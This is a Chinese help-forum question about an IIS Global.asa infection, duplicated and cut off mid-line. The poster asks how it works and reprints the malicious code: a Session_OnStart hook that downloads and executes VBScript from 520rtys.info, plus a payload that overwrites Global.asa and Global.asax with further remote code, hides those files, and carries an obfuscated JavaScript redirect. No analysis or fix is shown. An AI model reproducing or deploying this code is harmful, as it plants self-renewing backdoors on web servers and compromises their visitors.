关于这个Global.asa病毒的原理到底是什么？该如何处理
日期：2014-05-16 浏览次数：20811 次
关于这个Global.asa病毒的原理到底是什么？
（1）百度收录网站时，为什么收录的网址自动有查询字符串：gjs.hnnu.cn/?key=cqmf
（2）为什么从百度点击进入时，可同时打开病毒设置的网页。
代码如下：Global.asa
<script language="vbscript" runat="server">
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
On Error Resume Next
url="http://www.520rtys.info/520rtys/global.asaquan.gif"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
set objStream=Nothing
if instr(GetHtml,"by*vb")>0 then
execute GetHtml
end if
end sub
</script>
调用的http://www.520rtys.info/520rtys/global.asaquan.gif文件内容：
'<html><head><script>function clear(){Source=document.body.firstChild.data;document.open();document.close();document.title="";document.body.innerHTML=Source;}</script></head><body onload=clear()>
'<meta http-equiv=refresh content=0;URL=about:blank><script>eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.1.2(\'3:4\');',5,5,'window|location|replace|about|blank'.split('|'),0,{}))</script>
Server.ScriptTimeout=600
Public Function createasa(ByVal Content)
On Error Resume Next
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/Global.asa"))
f.Attributes=0
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "gb2312"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2
Obj.Close
Set Obj = Nothing
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
End Function
Public Function createasax(ByVal Content)
On Error Resume Next
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/Global.asax"))
f.Attributes=0
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "gb2312"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & Server.MapPath("/Global.asax"),2
Obj.Close
Set Obj = Nothing
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
End Function
asa=GetHtml("http://www.520rtys.info/520rtys/globalquan.gif")
if instr(asa,"by*vb")>0 then
createasa(asa)
end if
asax=GetHtml("http://www.520rtys.info/520rtys/globalquanasax.gif")
if instr(asax,"by*vb")>0 then
createasax(asax)
end if
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.
（1）百度收录网站时，为什么收录的网址自动有查询字符串：gjs.hnnu.cn/?key=cqmf
（2）为什么从百度点击进入时，可同时打开病毒设置的网页。
代码如下：Global.asa
<script language="vbscript" runat="server">
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
On Error Resume Next
url="http://www.520rtys.info/520rtys/global.asaquan.gif"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
set objStream=Nothing
if instr(GetHtml,"by*vb")>0 then
execute GetHtml
end if
end sub
</script>
调用的http://www.520rtys.info/520rtys/global.asaquan.gif文件内容：
'<html><head><script>function clear(){Source=document.body.firstChild.data;document.open();document.close();document.title="";document.body.innerHTML=Source;}</script></head><body onload=clear()>
'<meta http-equiv=refresh content=0;URL=about:blank><script>eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.1.2(\'3:4\');',5,5,'window|location|replace|about|blank'.split('|'),0,{}))</script>
Server.ScriptTimeout=600
Public Function createasa(ByVal Content)
On Error Resume Next
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/Global.asa"))
f.Attributes=0
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "gb2312"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2
Obj.Close
Set Obj = Nothing
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
End Function
Public Function createasax(ByVal Content)
On Error Resume Next
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/Global.asax"))
f.Attributes=0
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "gb2312"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & Server.MapPath("/Global.asax"),2
Obj.Close
Set Obj = Nothing
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
End Function
asa=GetHtml("http://www.520rtys.info/520rtys/globalquan.gif")
if instr(asa,"by*vb")>0 then
createasa(asa)
end if
asax=GetHtml("http://www.520rtys.info/520rtys/globalquanasax.gif")
if instr(asax,"by*vb")>0 then
createasax(asax)
end if
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.
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